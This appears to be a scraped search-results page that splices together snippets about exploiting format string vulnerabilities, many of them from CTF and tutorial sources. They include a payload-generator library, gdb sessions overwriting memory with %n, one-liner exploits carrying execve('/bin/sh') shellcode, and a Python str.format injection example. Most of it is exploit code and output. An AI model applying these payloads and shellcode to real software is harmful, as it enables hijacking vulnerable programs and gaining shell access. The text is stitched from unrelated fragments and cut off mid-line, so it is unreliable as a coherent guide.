Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge

Formatstring is a python 3 library to help the exploitation of format string vulnerabilities.

from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap ...

wrapper exploit printf pwn ctf ... format-string-attack return-oriented-programming ... Python script that can be used to craft a string to perform a format string attack in a 32bit system....

April 22, 2018 - gdb-peda$ b *0x00400665 ; Break @printf() Breakpoint 1 at 0x400665 gdb-peda$ b *0x0040066a ; Break right after printf() Breakpoint 2 at 0x40066a gdb-peda$ run < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') Starting program: /home/user/format1 < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') [-------------------------------------code-------------------------------------] 0x40065e <main+62>: sub esp,0xc 0x400661 <main+65>: lea eax,[ebp-0x4c] 0x400664 <main+68>: push eax => 0x400665 <main+69>: call 0x400450 <printf@plt> 0x40066a <main+74>: add esp,0x10 0x40066d <main+77>: cmp DWORD PTR [ebp-0xc],0xcafebabe 0x400674 <main+84>: jne 0x40068f <main+111> 0x400676 <main+86>: sub esp,0xc Breakpoint 1, 0x00400665 in main () gdb-peda$ x/x 0xbffff6ac ; Check the value @ 0xbffff6ac 0xbffff6ac: 0xdeadc0de gdb-peda$ continue Continuing.

The tool does multiple executions of the program to find the distance between the format string and its address. Generates an exploit string when provided with the address to overwrite, the address to write and the offset in words.

August 23, 2013 - from pyfmtstr import exploit sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \ "\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" e = exploit(binary="vuln_prog/printf", shellcode=sc) sc_offset,sc_align = e.dump_stack() fmtstr_addr,sc_addr = e.find_fmtstr_address()

Así logramos consistencia en las direcciones de memoria sin importar que modifiquemos los bytes de longitud del/los string/s de entrada. Creamos el archivo exploit.py para probar el padding: #! /usr/bin/env python import sys exploit= "BBBB" ; acá puede ir cualquier cosa padding = "A" * (100000 - len(exploit)) if sys.argv[1] == "1": sys.stdout.write(exploit) elif sys.argv[1] == "2": sys.stdout.write(padding)

__doc__ = "format string payload generator" __all__ = ('FormatString',) · try: bytes_classes = (bytes, bytearray) str_classes = (str, ) except: bytes_class = (str, bytearray) str_classes = (unicode, ) · p64 = lambda x: struct.pack('<Q', x) p32 = lambda x: struct.pack('<L', x) u8 = lambda x: struct.unpack('<B', x)[0] ·

Researching f-string revealed that it was likely a new Python format string format (introduced in version 3.6). This fact can be confirmed by registering a valid config entry and then using 3.

Para imprimir el contenido de la pila hasta ver el propio format string que proveemos como parámetro, armamos un input más extenso con un comienzo reconocible (\x41\x41\x41\x41...). Incluimos el parámetro con padding "x" para visualizar más cómodamente los datos: #!/usr/bin/env python import sys def pad(s): #padding return (s + "A"*1000)[:1000] exploit = "AAAAAAAAAAAAAAAAAAAAAAAAAAA" #comienzo del format string reconocible exploit += "x ." * 150 #parámetros para imprimir la pila sys.stdout.write(pad(exploit))

I just show you my final exploit. shogun@kyoto:~/repos/basics-of-pwn/content/format-string$ ./format-string $(python -c 'print "\x4c\xd0\xff\xff" + "\x4e\xd0\xff\xff" + "S120u" + "%6$n" + "407u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') L���N��� ========================= The long empty output here...

Format String Vulnerability @ http://www.thexploit.com/secdev/format-string-vulnerabilities-part-1 · Raw · exploit · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below.

September 16, 2015 - Use this script to generate fromat string exploits with ease. from fs import * print([one_by_one(0xffffc14c, 0xffffc6d0, 11)]) # ['L\xc1\xff\xffM\xc1\xff\xffN\xc1\xff\xffO\xc1\xff\xff2x$n$6x$nWx$n$n'] print([two_by_two(0xffffc14c, 0xffffc6d0, 11)]) # ['N\xc1\xff\xffL\xc1\xff\xffP888x$hn639x$hn'] python fs.py ffffc14c ffffc6d0 11 one Format string is: bash: $(printf "\x4c\xc1\xff\xff\x4d\xc1\xff\xff\x4e\xc1\xff\xff\x4f\xc1\xff\xff2x$n$6x$nWx$n$n") perl: $(perl -e 'print "\x4c\xc1\xff\xff\x4d\xc1\xff\xff\x4e\xc1\xff\xff\x4f\xc1\xff\xff2x$n$6x$nWx$n$n"') python: $(python -c 'pri

Subtracting the first from the latter and dividing by 8 gives the format string parameter we need to access the written byte directly! I wrote a simple proof-of-concept for this. The following python code abuses the format string vulnerability to write out ‘BAS’ to an area on the stack.

July 5, 2020 - The exploit script leakanywhere.py is: ... The address 0xf7d76a90 seems to be what scanf@got points to (where scanf really is). It changes everytime you run the script. Another impressive format specifier is %n, outputting not characters, but number of successfully printed characters.

March 24, 2021 - We will try to inject payloads int format string placeholders of the template. I made a simple script taking arguments and executing API’s render function : ... #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys config = { 'API_KEY' : "212817d980b9a03add91e5814d02" } class API(object): def __init__(self, apikey): self.apikey = apikey def renderHTML(self, templateHTML, title, text): return (templateHTML.format(self=self, title=title, text=text)) if __name__ == '__main__': if len(sys.argv) != 3: print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT") else : a = API(config['API_KEY']) print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))

January 23, 2025 - If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

August 18, 2024 - Share hacking tricks by submitting ... "./tyler" REMOTE_BIN = "./tyler" #For ssh # In order to exploit the format string you may need to append/prepend some string to the payload # configure them here PREFIX_PAYLOAD = b"" SUFFIX_PAYLOAD = b"" NNUM_ALREADY_WRITTEN_BYTES = 0 MAX_LENTGH ...

Format String Bug exploitation with pwntools example · Raw · FormatStringBugAutopwn · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.